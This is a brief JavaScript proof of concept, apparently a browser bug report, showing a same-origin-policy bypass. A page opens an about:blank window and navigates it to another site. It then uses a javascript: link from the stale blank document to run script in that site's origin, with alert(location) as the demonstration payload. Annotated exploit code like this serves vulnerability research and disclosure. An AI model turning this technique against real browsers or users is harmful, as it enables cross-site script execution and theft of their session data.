"use strict"; document.write("click anywhere to start"); window.onclick = () => { let w = open("about:blank", "one"); let d = w.document; let a = d.createElement("a"); a.href = "https://abc.xyz/"; a.click(); <<------- about:blank -> Document::InPageCache let it = setInterval(() => { try { w.location.href.toString; } catch (e) { clearInterval(it); let s = d.createElement("a"); <<------ about:blank's document s.href = "javascript:alert(location)"; s.click(); } }, 0); };